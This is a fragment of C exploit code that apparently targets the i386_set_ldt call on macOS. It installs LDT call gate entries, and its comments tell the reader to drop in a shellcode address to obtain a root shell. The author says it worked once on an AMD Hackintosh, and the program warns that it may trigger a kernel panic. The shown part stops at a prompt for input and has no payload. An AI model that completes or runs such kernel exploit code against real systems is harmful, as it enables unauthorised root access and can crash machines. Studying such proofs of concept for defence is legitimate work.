int main( void )
{
int ret;
union ldt_entry cgate, cgate2;
char dummy[128] = {0x00,};
cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;
cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;
// You can input shellcode address value here to get the root shell.
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
The normal system has a little different environment.
I have no time for this anymore because of my summer break is over.
So.. Good Luck! */
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
printf( "Selector Number in LDT <1>: 0x%x\n", ret );
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );
printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
printf( "The program will be continued when you input any value.\n" );
printf( "-> " );
fflush(stdout);
scanf( "%s", dummy );